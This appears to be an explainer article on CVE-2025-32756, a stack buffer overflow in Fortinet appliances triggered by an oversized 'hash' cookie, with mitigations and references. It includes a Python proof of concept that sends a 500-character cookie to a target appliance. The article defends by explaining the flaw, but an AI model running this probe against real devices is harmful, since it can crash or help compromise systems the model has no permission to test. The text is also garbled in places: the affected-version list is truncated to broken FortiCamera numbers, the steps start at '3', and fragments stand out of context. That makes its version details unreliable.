Overview
CVE-2025-32756 is a critical stack-based buffer overflow vulnerability affecting several Fortinet security appliances, including FortiVoice, FortiRecorder, FortiMail, FortiNDR, and FortiCamera. This vulnerability can allow remote, unauthenticated attackers to execute arbitrary code or commands by sending specially crafted HTTP requests containing a malicious “hash” cookie. This article will explain the vulnerability in straightforward terms, show a simplified proof-of-concept, and provide references to the original advisories.

FortiCamera: 2.1.–2.1.3, 2. (all), 1.1 (all)

*If you use any of these products and versions, you are at risk.*

What is a Stack-Based Buffer Overflow? (CWE-121)

A stack-based buffer overflow occurs when a program writes more data to a buffer located on the stack than what is allocated for that buffer. This can overwrite critical data like return addresses, enabling attackers to hijack application flow—possibly taking control of the device.

Vulnerability Details

The vulnerability happens due to improper handling when the server processes the HTTP “hash” cookie. There’s no adequate check of the length/value, letting malicious input overflow a buffer on the stack.

3. The attacker controls the overwritten memory. Skilled attackers can gain code execution on the appliance—fully compromising it remotely, *without credentials*.

Simple Proof-of-Concept

Below is a Python snippet that demonstrates sending a potentially harmful “hash” cookie. The actual exploit will vary based on how the appliance processes the buffer, but this shows the attack vector.

import requests

# Target information:
target_ip = "192.168.1.100"
target_port = 80  # or 443 for HTTPS
url = f"http://{target_ip}:{target_port}/";

# Payload: 500 'A's to overflow the buffer
overflow_payload = "A" * 500

cookies = {
    'hash': overflow_payload
}

# Send HTTP GET with the crafted cookie
try:
    response = requests.get(url, cookies=cookies, timeout=5)
    print(f"Status code: {response.status_code}")
except Exception as e:
    print(f"Request failed: {e}")

> Note: *Do not use this script against any system you don’t own or don’t have permission to test.*

Easy Worming: Exploitable by simple network scans and HTTP requests.

- Business Impact: Can lead to data breach, backdoor, malware/ransomware infection, and loss of trust.

- Update Immediately. Apply the latest patches from Fortinet

- Fortinet PSIRT Advisory

Block access to management web interfaces from the internet or untrusted networks.

- Monitor logs for unusual or failed login/connection attempts.

References

- Fortinet Security Advisory for CVE-2025-32756
- MITRE CVE Details Page: CVE-2025-32756
- CWE-121: Stack-based Buffer Overflow
- Fortinet Downloads/Patches

Real-World Implications

Attackers can automate the exploitation of this bug, scanning enterprise networks or the wider internet for Fortinet appliances. Once exploited, attackers can drop malware, pivot to internal networks, or use the device as a persistent foothold. Given Fortinet appliances’ wide deployment in business environments, this exposure is *serious and urgent*.

Conclusion

CVE-2025-32756 is a highly severe vulnerability that impacts many Fortinet products. Its low complexity and high potential impact make it crucial to patch and secure systems ASAP. Follow the references for the latest updates, and always keep your devices up to date.

Timeline

Published on: 05/13/2025 15:15:57 UTC
Last modified on: 05/16/2025 19:41:05 UTC